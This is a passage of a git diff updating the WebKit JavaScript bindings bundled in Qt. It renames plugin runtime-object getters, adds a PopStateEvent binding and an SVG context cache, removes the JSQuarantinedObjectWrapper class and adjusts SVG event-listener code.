@@ -57,19 +57,11 @@ static RuntimeObjectImp* getRuntimeObject(ExecState* exec, Node* node)
     return instance->createRuntimeObject(exec);
 }
 
-JSValue runtimeObjectGetter(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue runtimeObjectPropertyGetter(ExecState* exec, JSValue slotBase, const Identifier& propertyName)
 {
-    JSHTMLElement* thisObj = static_cast<JSHTMLElement*>(asObject(slot.slotBase()));
+    JSHTMLElement* thisObj = static_cast<JSHTMLElement*>(asObject(slotBase));
     HTMLElement* element = static_cast<HTMLElement*>(thisObj->impl());
-    RuntimeObjectImp* runtimeObject = getRuntimeObject(exec, element);
-    return runtimeObject ? runtimeObject : jsUndefined();
-}
-
-JSValue runtimeObjectPropertyGetter(ExecState* exec, const Identifier& propertyName, const PropertySlot& slot)
-{
-    JSHTMLElement* thisObj = static_cast<JSHTMLElement*>(asObject(slot.slotBase()));
-    HTMLElement* element = static_cast<HTMLElement*>(thisObj->impl());
-    RuntimeObjectImp* runtimeObject = getRuntimeObject(exec, element);
+    RuntimeObject* runtimeObject = getRuntimeObject(exec, element);
     if (!runtimeObject)
         return jsUndefined();
     return runtimeObject->get(exec, propertyName);
@@ -77,7 +69,7 @@ JSValue runtimeObjectPropertyGetter(ExecState* exec, const Identifier& propertyN
 
 bool runtimeObjectCustomGetOwnPropertySlot(ExecState* exec, const Identifier& propertyName, PropertySlot& slot, JSHTMLElement* element)
 {
-    RuntimeObjectImp* runtimeObject = getRuntimeObject(exec, element->impl());
+    RuntimeObject* runtimeObject = getRuntimeObject(exec, element->impl());
     if (!runtimeObject)
         return false;
     if (!runtimeObject->hasProperty(exec, propertyName))
@@ -88,7 +80,7 @@ bool runtimeObjectCustomGetOwnPropertySlot(ExecState* exec, const Identifier& pr
 
 bool runtimeObjectCustomGetOwnPropertyDescriptor(ExecState* exec, const Identifier& propertyName, PropertyDescriptor& descriptor, JSHTMLElement* element)
 {
-    RuntimeObjectImp* runtimeObject = getRuntimeObject(exec, element->impl());
+    RuntimeObject* runtimeObject = getRuntimeObject(exec, element->impl());
     if (!runtimeObject)
         return false;
     if (!runtimeObject->hasProperty(exec, propertyName))
@@ -104,7 +96,7 @@ bool runtimeObjectCustomGetOwnPropertyDescriptor(ExecState* exec, const Identifi
 
 bool runtimeObjectCustomPut(ExecState* exec, const Identifier& propertyName, JSValue value, HTMLElement* element, PutPropertySlot& slot)
 {
-    RuntimeObjectImp* runtimeObject = getRuntimeObject(exec, element);
+    RuntimeObject* runtimeObject = getRuntimeObject(exec, element);
     if (!runtimeObject)
         return 0;
     if (!runtimeObject->hasProperty(exec, propertyName))
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSPluginElementFunctions.h b/src/3rdparty/webkit/WebCore/bindings/js/JSPluginElementFunctions.h
index a5a323a..736ace9 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSPluginElementFunctions.h
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSPluginElementFunctions.h
@@ -22,6 +22,12 @@
 
 #include "JSDOMBinding.h"
 
+namespace JSC {
+namespace Bindings {
+class Instance;
+}
+}
+
 namespace WebCore {
 
     class HTMLElement;
@@ -29,9 +35,9 @@ namespace WebCore {
     class Node;
 
     // Runtime object support code for JSHTMLAppletElement, JSHTMLEmbedElement and JSHTMLObjectElement.
+    JSC::Bindings::Instance* pluginInstance(Node*);
 
-    JSC::JSValue runtimeObjectGetter(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-    JSC::JSValue runtimeObjectPropertyGetter(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+    JSC::JSValue runtimeObjectPropertyGetter(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
     bool runtimeObjectCustomGetOwnPropertySlot(JSC::ExecState*, const JSC::Identifier&, JSC::PropertySlot&, JSHTMLElement*);
     bool runtimeObjectCustomGetOwnPropertyDescriptor(JSC::ExecState*, const JSC::Identifier&, JSC::PropertyDescriptor&, JSHTMLElement*);
     bool runtimeObjectCustomPut(JSC::ExecState*, const JSC::Identifier&, JSC::JSValue, HTMLElement*, JSC::PutPropertySlot&);
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSPopStateEventCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSPopStateEventCustom.cpp
new file mode 100644
index 0000000..3f5fd7e
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSPopStateEventCustom.cpp
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2009 Apple Inc. All Rights Reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE, INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
+ *
+ */
+
+#include "config.h"
+#include "JSPopStateEvent.h"
+
+#include "PopStateEvent.h"
+
+using namespace JSC;
+
+namespace WebCore {
+
+JSValue JSPopStateEvent::initPopStateEvent(ExecState* exec, const ArgList& args)
+{
+    const UString& typeArg = args.at(0).toString(exec);
+    bool canBubbleArg = args.at(1).toBoolean(exec);
+    bool cancelableArg = args.at(2).toBoolean(exec);
+    RefPtr<SerializedScriptValue> stateObjectArg = SerializedScriptValue::create(exec, args.at(3));
+    
+    PopStateEvent* event = static_cast<PopStateEvent*>(impl());
+    event->initPopStateEvent(typeArg, canBubbleArg, cancelableArg, stateObjectArg.release());
+    return jsUndefined();
+}
+
+} // namespace WebCore
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSQuarantinedObjectWrapper.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSQuarantinedObjectWrapper.cpp
deleted file mode 100644
index 2ab2c00..0000000
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSQuarantinedObjectWrapper.cpp
+++ /dev/null
@@ -1,336 +0,0 @@
-/*
- * Copyright (C) 2008, 2009 Apple Inc. All Rights Reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE INC. ``AS IS'' AND ANY
- * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE INC. OR
- * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
- * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
- */
-
-#include "config.h"
-#include "JSQuarantinedObjectWrapper.h"
-
-#include "JSDOMBinding.h"
-
-#include <runtime/JSGlobalObject.h>
-
-using namespace JSC;
-
-namespace WebCore {
-
-ASSERT_CLASS_FITS_IN_CELL(JSQuarantinedObjectWrapper);
-
-const ClassInfo JSQuarantinedObjectWrapper::s_info = { "JSQuarantinedObjectWrapper", 0, 0, 0 };
-
-JSQuarantinedObjectWrapper* JSQuarantinedObjectWrapper::asWrapper(JSValue value)
-{
-    if (!value.isObject())
-        return 0;
-
-    JSObject* object = asObject(value);
-
-    if (!object->inherits(&JSQuarantinedObjectWrapper::s_info))
-        return 0;
-
-    return static_cast<JSQuarantinedObjectWrapper*>(object);
-}
-
-JSValue JSQuarantinedObjectWrapper::cachedValueGetter(ExecState*, const Identifier&, const PropertySlot& slot)
-{
-    JSValue v = slot.slotBase();
-    ASSERT(v);
-    return v;
-}
-
-JSQuarantinedObjectWrapper::JSQuarantinedObjectWrapper(ExecState* unwrappedExec, JSObject* unwrappedObject, NonNullPassRefPtr<Structure> structure)
-    : JSObject(structure)
-    , m_unwrappedGlobalObject(unwrappedExec->lexicalGlobalObject())
-    , m_unwrappedObject(unwrappedObject)
-{
-    ASSERT_ARG(unwrappedExec, unwrappedExec);
-    ASSERT_ARG(unwrappedObject, unwrappedObject);
-    ASSERT(this->structure());
-}
-
-JSQuarantinedObjectWrapper::~JSQuarantinedObjectWrapper()
-{
-}
-
-bool JSQuarantinedObjectWrapper::allowsUnwrappedAccessFrom(ExecState* exec) const
-{
-    return m_unwrappedGlobalObject->profileGroup() == exec->lexicalGlobalObject()->profileGroup();
-}
-
-ExecState* JSQuarantinedObjectWrapper::unwrappedExecState() const
-{
-    return m_unwrappedGlobalObject->globalExec();
-}
-
-void JSQuarantinedObjectWrapper::transferExceptionToExecState(ExecState* exec) const
-{
-    ASSERT(exec != unwrappedExecState());
-
-    if (!unwrappedExecState()->hadException())
-        return;
-
-    JSValue exception = unwrappedExecState()->exception();
-    unwrappedExecState()->clearException();
-    exec->setException(wrapOutgoingValue(unwrappedExecState(), exception));
-}
-
-void JSQuarantinedObjectWrapper::markChildren(MarkStack& markStack)
-{
-    JSObject::markChildren(markStack);
-
-    markStack.append(m_unwrappedObject);
-    markStack.append(m_unwrappedGlobalObject);
-}
-
-bool JSQuarantinedObjectWrapper::getOwnPropertySlot(ExecState* exec, const Identifier& identifier, PropertySlot& slot)
-{
-    if (!allowsGetProperty()) {
-        slot.setUndefined();
-        return true;
-    }
-
-    PropertySlot unwrappedSlot(m_unwrappedObject);
-    bool result = m_unwrappedObject->getOwnPropertySlot(unwrappedExecState(), identifier, unwrappedSlot);
-    if (result) {
-        JSValue unwrappedValue = unwrappedSlot.getValue(unwrappedExecState(), identifier);
-        slot.setCustom(wrapOutgoingValue(unwrappedExecState(), unwrappedValue), cachedValueGetter);
-    }
-
-    transferExceptionToExecState(exec);
-
-    return result;
-}
-
-bool JSQuarantinedObjectWrapper::getOwnPropertySlot(ExecState* exec, unsigned identifier, PropertySlot& slot)
-{
-    if (!allowsGetProperty()) {
-        slot.setUndefined();
-        return true;
-    }
-
-    PropertySlot unwrappedSlot(m_unwrappedObject);
-    bool result = m_unwrappedObject->getOwnPropertySlot(unwrappedExecState(), identifier, unwrappedSlot);
-    if (result) {
-        JSValue unwrappedValue = unwrappedSlot.getValue(unwrappedExecState(), identifier);
-        slot.setCustom(wrapOutgoingValue(unwrappedExecState(), unwrappedValue), cachedValueGetter);
-    }
-
-    transferExceptionToExecState(exec);
-
-    return result;
-}
-
-bool JSQuarantinedObjectWrapper::getOwnPropertyDescriptor(ExecState* exec, const Identifier& identifier, PropertyDescriptor& descriptor)
-{
-    if (!allowsGetProperty()) {
-        descriptor.setUndefined();
-        return true;
-    }
-
-    PropertyDescriptor unwrappedDescriptor;
-    bool result = m_unwrappedObject->getOwnPropertyDescriptor(unwrappedExecState(), identifier, unwrappedDescriptor);
-
-    if (unwrappedDescriptor.isAccessorDescriptor()) {
-        descriptor.setAccessorDescriptor(wrapOutgoingValue(unwrappedExecState(), unwrappedDescriptor.getter()),
-                                         wrapOutgoingValue(unwrappedExecState(), unwrappedDescriptor.setter()),
-                                         unwrappedDescriptor.attributes());
-    } else
-        descriptor.setDescriptor(wrapOutgoingValue(unwrappedExecState(), unwrappedDescriptor.value()), unwrappedDescriptor.attributes());
-    transferExceptionToExecState(exec);
-    return result;
-}
-
-void JSQuarantinedObjectWrapper::put(ExecState* exec, const Identifier& identifier, JSValue value, PutPropertySlot& slot)
-{
-    if (!allowsSetProperty())
-        return;
-
-    m_unwrappedObject->put(unwrappedExecState(), identifier, prepareIncomingValue(exec, value), slot);
-
-    transferExceptionToExecState(exec);
-}
-
-void JSQuarantinedObjectWrapper::put(ExecState* exec, unsigned identifier, JSValue value)
-{
-    if (!allowsSetProperty())
-        return;
-
-    m_unwrappedObject->put(unwrappedExecState(), identifier, prepareIncomingValue(exec, value));
-
-    transferExceptionToExecState(exec);
-}
-
-bool JSQuarantinedObjectWrapper::defineOwnProperty(ExecState* exec, const Identifier& propertyName, PropertyDescriptor& descriptor, bool shouldThrow)
-{
-    if (!allowsSetProperty())
-        return false;
-
-    PropertyDescriptor wrappedDescriptor;
-    if (descriptor.isDataDescriptor()) {
-        wrappedDescriptor.setValue(prepareIncomingValue(exec, descriptor.value()));
-        if (wrappedDescriptor.writablePresent())
-            wrappedDescriptor.setWritable(descriptor.writable());
-    } else if (descriptor.isAccessorDescriptor()) {
-        if (descriptor.getter())
-            wrappedDescriptor.setGetter(prepareIncomingValue(exec, descriptor.getter()));
-        if (descriptor.setter())
-            wrappedDescriptor.setSetter(prepareIncomingValue(exec, descriptor.setter()));
-    }
-    if (wrappedDescriptor.enumerablePresent())
-        wrappedDescriptor.setEnumerable(descriptor.enumerable());
-    if (wrappedDescriptor.configurablePresent())
-        wrappedDescriptor.setConfigurable(descriptor.configurable());
-    
-    bool result = m_unwrappedObject->defineOwnProperty(unwrappedExecState(), propertyName, wrappedDescriptor, shouldThrow);
-    
-    transferExceptionToExecState(exec);
-    return result;
-}
-
-bool JSQuarantinedObjectWrapper::deleteProperty(ExecState* exec, const Identifier& identifier)
-{
-    if (!allowsDeleteProperty())
-        return false;
-
-    bool result = m_unwrappedObject->deleteProperty(unwrappedExecState(), identifier);
-
-    transferExceptionToExecState(exec);
-
-    return result;
-}
-
-bool JSQuarantinedObjectWrapper::deleteProperty(ExecState* exec, unsigned identifier)
-{
-    if (!allowsDeleteProperty())
-        return false;
-
-    bool result = m_unwrappedObject->deleteProperty(unwrappedExecState(), identifier);
-
-    transferExceptionToExecState(exec);
-
-    return result;
-}
-
-JSObject* JSQuarantinedObjectWrapper::construct(ExecState* exec, JSObject* constructor, const ArgList& args)
-{
-    JSQuarantinedObjectWrapper* wrapper = static_cast<JSQuarantinedObjectWrapper*>(constructor);
-
-    MarkedArgumentBuffer preparedArgs;
-    for (size_t i = 0; i < args.size(); ++i)
-        preparedArgs.append(wrapper->prepareIncomingValue(exec, args.at(i)));
-
-    // FIXME: Would be nice to find a way to reuse the result of m_unwrappedObject->getConstructData
-    // from when we called it in JSQuarantinedObjectWrapper::getConstructData.
-    ConstructData unwrappedConstructData;
-    ConstructType unwrappedConstructType = wrapper->m_unwrappedObject->getConstructData(unwrappedConstructData);
-    ASSERT(unwrappedConstructType != ConstructTypeNone);
-
-    // FIXME: Quarantined objects are all in the debuggerWorld(), for now. Instead, we should remove the quarantined objects, & replace them with an isolated world?
-    JSValue unwrappedResult = constructInWorld(wrapper->unwrappedExecState(), wrapper->m_unwrappedObject, unwrappedConstructType, unwrappedConstructData, preparedArgs, debuggerWorld());
-
-    JSValue resultValue = wrapper->wrapOutgoingValue(wrapper->unwrappedExecState(), unwrappedResult);
-    ASSERT(resultValue.isObject());
-    JSObject* result = asObject(resultValue);
-
-    wrapper->transferExceptionToExecState(exec);
-
-    return result;
-}
-
-ConstructType JSQuarantinedObjectWrapper::getConstructData(ConstructData& constructData)
-{
-    if (!allowsConstruct())
-        return ConstructTypeNone;
-    ConstructData unwrappedConstructData;
-    if (m_unwrappedObject->getConstructData(unwrappedConstructData) == ConstructTypeNone)
-        return ConstructTypeNone;
-    constructData.native.function = construct;
-    return ConstructTypeHost;
-}
-
-bool JSQuarantinedObjectWrapper::hasInstance(ExecState* exec, JSValue value, JSValue proto)
-{
-    if (!allowsHasInstance())
-        return false;
-
-    bool result = m_unwrappedObject->hasInstance(unwrappedExecState(), prepareIncomingValue(exec, value), prepareIncomingValue(exec, proto));
-
-    transferExceptionToExecState(exec);
-
-    return result;
-}
-
-JSValue JSQuarantinedObjectWrapper::call(ExecState* exec, JSObject* function, JSValue thisValue, const ArgList& args)
-{
-    JSQuarantinedObjectWrapper* wrapper = static_cast<JSQuarantinedObjectWrapper*>(function);
-
-    JSValue preparedThisValue = wrapper->prepareIncomingValue(exec, thisValue);
-
-    MarkedArgumentBuffer preparedArgs;
-    for (size_t i = 0; i < args.size(); ++i)
-        preparedArgs.append(wrapper->prepareIncomingValue(exec, args.at(i)));
-
-    // FIXME: Would be nice to find a way to reuse the result of m_unwrappedObject->getCallData
-    // from when we called it in JSQuarantinedObjectWrapper::getCallData.
-    CallData unwrappedCallData;
-    CallType unwrappedCallType = wrapper->m_unwrappedObject->getCallData(unwrappedCallData);
-    ASSERT(unwrappedCallType != CallTypeNone);
-
-    // FIXME: Quarantined objects are all in the debuggerWorld(), for now. Instead, we should remove the quarantined objects, & replace them with an isolated world?
-    JSValue unwrappedResult = callInWorld(wrapper->unwrappedExecState(), wrapper->m_unwrappedObject, unwrappedCallType, unwrappedCallData, preparedThisValue, preparedArgs, debuggerWorld());
-
-    JSValue result = wrapper->wrapOutgoingValue(wrapper->unwrappedExecState(), unwrappedResult);
-
-    wrapper->transferExceptionToExecState(exec);
-
-    return result;
-}
-
-CallType JSQuarantinedObjectWrapper::getCallData(CallData& callData)
-{
-    if (!allowsCallAsFunction())
-        return CallTypeNone;
-    CallData unwrappedCallData;
-    if (m_unwrappedObject->getCallData(unwrappedCallData) == CallTypeNone)
-        return CallTypeNone;
-    callData.native.function = call;
-    return CallTypeHost;
-}
-
-void JSQuarantinedObjectWrapper::getPropertyNames(ExecState*, PropertyNameArray& array)
-{
-    if (!allowsGetPropertyNames())
-        return;
-    
-    m_unwrappedObject->getPropertyNames(unwrappedExecState(), array);
-}
-
-void JSQuarantinedObjectWrapper::getOwnPropertyNames(ExecState*, PropertyNameArray& array)
-{
-    if (!allowsGetPropertyNames())
-        return;
-
-    m_unwrappedObject->getOwnPropertyNames(unwrappedExecState(), array);
-}
-
-} // namespace WebCore
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSQuarantinedObjectWrapper.h b/src/3rdparty/webkit/WebCore/bindings/js/JSQuarantinedObjectWrapper.h
deleted file mode 100644
index 9f62495..0000000
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSQuarantinedObjectWrapper.h
+++ /dev/null
@@ -1,106 +0,0 @@
-/*
- * Copyright (C) 2008, 2009 Apple Inc. All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE INC. ``AS IS'' AND ANY
- * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE INC. OR
- * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
- * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
- */
-
-#ifndef JSQuarantinedObjectWrapper_h
-#define JSQuarantinedObjectWrapper_h
-
-#include <runtime/JSObject.h>
-
-namespace WebCore {
-
-    class JSQuarantinedObjectWrapper : public JSC::JSObject {
-    public:
-        static JSQuarantinedObjectWrapper* asWrapper(JSC::JSValue);
-
-        virtual ~JSQuarantinedObjectWrapper();
-
-        virtual JSC::JSObject* unwrappedObject() { return m_unwrappedObject; }
-
-        JSC::JSGlobalObject* unwrappedGlobalObject() const { return m_unwrappedGlobalObject; };
-        JSC::ExecState* unwrappedExecState() const;
-
-        bool allowsUnwrappedAccessFrom(JSC::ExecState*) const;
-
-        static const JSC::ClassInfo s_info;
-
-        static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue proto) 
-        { 
-            return JSC::Structure::create(proto, JSC::TypeInfo(JSC::ObjectType, StructureFlags)); 
-        }
-
-    protected:
-        static const unsigned StructureFlags = JSC::OverridesGetOwnPropertySlot | JSC::ImplementsHasInstance | JSC::OverridesHasInstance | JSC::OverridesMarkChildren | JSC::OverridesGetPropertyNames | JSC::JSObject::StructureFlags;
-
-        JSQuarantinedObjectWrapper(JSC::ExecState* unwrappedExec, JSC::JSObject* unwrappedObject, NonNullPassRefPtr<JSC::Structure>);
-
-        virtual void markChildren(JSC::MarkStack&);
-
-    private:
-        virtual bool getOwnPropertySlot(JSC::ExecState*, const JSC::Identifier&, JSC::PropertySlot&);
-        virtual bool getOwnPropertySlot(JSC::ExecState*, unsigned, JSC::PropertySlot&);
-        virtual bool getOwnPropertyDescriptor(JSC::ExecState*, const JSC::Identifier&, JSC::PropertyDescriptor&);
-
-        virtual void put(JSC::ExecState*, const JSC::Identifier&, JSC::JSValue, JSC::PutPropertySlot&);
-        virtual void put(JSC::ExecState*, unsigned, JSC::JSValue);
-        virtual bool defineOwnProperty(JSC::ExecState*, const JSC::Identifier& propertyName, JSC::PropertyDescriptor&, bool shouldThrow);
-
-        virtual bool deleteProperty(JSC::ExecState*, const JSC::Identifier&);
-        virtual bool deleteProperty(JSC::ExecState*, unsigned);
-
-        virtual JSC::CallType getCallData(JSC::CallData&);
-        virtual JSC::ConstructType getConstructData(JSC::ConstructData&);
-
-        virtual bool hasInstance(JSC::ExecState*, JSC::JSValue, JSC::JSValue proto);
-        
-        virtual void getPropertyNames(JSC::ExecState*, JSC::PropertyNameArray&);
-        virtual void getOwnPropertyNames(JSC::ExecState*, JSC::PropertyNameArray&);
-
-        virtual JSC::UString className() const { return m_unwrappedObject->className(); }
-
-        virtual bool allowsGetProperty() const { return false; }
-        virtual bool allowsSetProperty() const { return false; }
-        virtual bool allowsDeleteProperty() const { return false; }
-        virtual bool allowsConstruct() const { return false; }
-        virtual bool allowsHasInstance() const { return false; }
-        virtual bool allowsCallAsFunction() const { return false; }
-        virtual bool allowsGetPropertyNames() const { return false; }
-
-        virtual JSC::JSValue prepareIncomingValue(JSC::ExecState* unwrappedExec, JSC::JSValue unwrappedValue) const = 0;
-        virtual JSC::JSValue wrapOutgoingValue(JSC::ExecState* unwrappedExec, JSC::JSValue unwrappedValue) const = 0;
-
-        static JSC::JSValue cachedValueGetter(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-
-        void transferExceptionToExecState(JSC::ExecState*) const;
-
-        static JSC::JSValue JSC_HOST_CALL call(JSC::ExecState*, JSC::JSObject* function, JSC::JSValue thisValue, const JSC::ArgList&);
-        static JSC::JSObject* construct(JSC::ExecState*, JSC::JSObject*, const JSC::ArgList&);
-
-        JSC::JSGlobalObject* m_unwrappedGlobalObject;
-        JSC::JSObject* m_unwrappedObject;
-    };
-
-} // namespace WebCore
-
-#endif // JSQuarantinedObjectWrapper_h
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSSVGContextCache.h b/src/3rdparty/webkit/WebCore/bindings/js/JSSVGContextCache.h
new file mode 100644
index 0000000..75ed324
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSSVGContextCache.h
@@ -0,0 +1,97 @@
+/*
+    Copyright (C) Research In Motion Limited 2009-2010. All rights reserved.
+
+    This library is free software; you can redistribute it and/or
+    modify it under the terms of the GNU Library General Public
+    License as published by the Free Software Foundation; either
+    version 2 of the License, or (at your option) any later version.
+
+    This library is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+    Library General Public License for more details.
+
+    You should have received a copy of the GNU Library General Public License
+    along with this library; see the file COPYING.LIB.  If not, write to
+    the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
+    Boston, MA 02110-1301, USA.
+*/
+
+#ifndef JSSVGContextCache_h
+#define JSSVGContextCache_h
+
+#if ENABLE(SVG)
+#include "SVGElement.h"
+#include <wtf/StdLibExtras.h>
+
+namespace WebCore {
+
+class DOMObject;
+
+class JSSVGContextCache : public Noncopyable {
+public:
+    typedef HashMap<DOMObject*, SVGElement*> WrapperMap;
+
+    static WrapperMap& wrapperMap()
+    {
+        DEFINE_STATIC_LOCAL(WrapperMap, s_wrapperMap, ());
+        return s_wrapperMap;
+    }
+
+    static void addWrapper(DOMObject* wrapper, SVGElement* context)
+    {
+        ASSERT(wrapper);
+        ASSERT(context);
+
+        pair<WrapperMap::iterator, bool> result = wrapperMap().add(wrapper, context);
+        if (result.second) {
+            WrapperMap::iterator& it = result.first;
+            ASSERT_UNUSED(it, it->second == context);
+        }
+    }
+
+    static void forgetWrapper(DOMObject* wrapper)
+    {
+        ASSERT(wrapper);
+
+        WrapperMap& map = wrapperMap();
+        WrapperMap::iterator it = map.find(wrapper);
+        if (it == map.end())
+            return;
+
+        map.remove(it);
+    }
+
+    static void propagateSVGDOMChange(DOMObject* wrapper, const QualifiedName& attributeName)
+    {
+        WrapperMap& map = wrapperMap();
+        WrapperMap::iterator it = map.find(wrapper);
+        if (it == map.end())
+            return;
+
+        SVGElement* context = it->second;
+        ASSERT(context);
+
+        context->svgAttributeChanged(attributeName);
+    }
+
+    static SVGElement* svgContextForDOMObject(DOMObject* wrapper)
+    {
+        ASSERT(wrapper);
+
+        WrapperMap& map = wrapperMap();
+        WrapperMap::iterator it = map.find(wrapper);
+        if (it == map.end())
+            return 0;
+
+        SVGElement* context = it->second;
+        ASSERT(context);
+        return context;
+    }
+
+};
+
+}
+
+#endif
+#endif
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSSVGElementInstanceCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSSVGElementInstanceCustom.cpp
index ba1cf22..b3bded5 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSSVGElementInstanceCustom.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSSVGElementInstanceCustom.cpp
@@ -43,9 +43,7 @@ void JSSVGElementInstance::markChildren(MarkStack& markStack)
     Base::markChildren(markStack);
 
     // Mark the wrapper for our corresponding element, so it can mark its event handlers.
-    JSNode* correspondingWrapper = getCachedDOMNodeWrapper(impl()->correspondingElement()->document(), impl()->correspondingElement());
-    if (correspondingWrapper)
-        markStack.append(correspondingWrapper);
+    markDOMNodeWrapper(markStack, impl()->correspondingElement()->document(), impl()->correspondingElement());
 }
 
 JSValue JSSVGElementInstance::addEventListener(ExecState* exec, const ArgList& args)
@@ -54,7 +52,7 @@ JSValue JSSVGElementInstance::addEventListener(ExecState* exec, const ArgList& a
     if (!listener.isObject())
         return jsUndefined();
 
-    impl()->addEventListener(args.at(0).toString(exec), JSEventListener::create(asObject(listener), false, currentWorld(exec)), args.at(2).toBoolean(exec));
+    impl()->addEventListener(args.at(0).toString(exec), JSEventListener::create(asObject(listener), this, false, currentWorld(exec)), args.at(2).toBoolean(exec));
     return jsUndefined();
 }
 
@@ -64,7 +62,7 @@ JSValue JSSVGElementInstance::removeEventListener(ExecState* exec, const ArgList
     if (!listener.isObject())
         return jsUndefined();
 
-    impl()->removeEventListener(args.at(0).toString(exec), JSEventListener::create(asObject(listener), false, currentWorld(exec)).get(), args.at(2).toBoolean(exec));
+    impl()->removeEventListener(args.at(0).toString(exec), JSEventListener::create(asObject(listener), this, false, currentWorld(exec)).get(), args.at(2).toBoolean(exec));
     return jsUndefined();
 }
 
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSSVGLengthCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSSVGLengthCustom.cpp
index bad52ae..33bbf30 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSSVGLengthCustom.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSSVGLengthCustom.cpp
@@ -28,18 +28,22 @@ namespace WebCore {
 
 JSValue JSSVGLength::value(ExecState* exec) const
 {
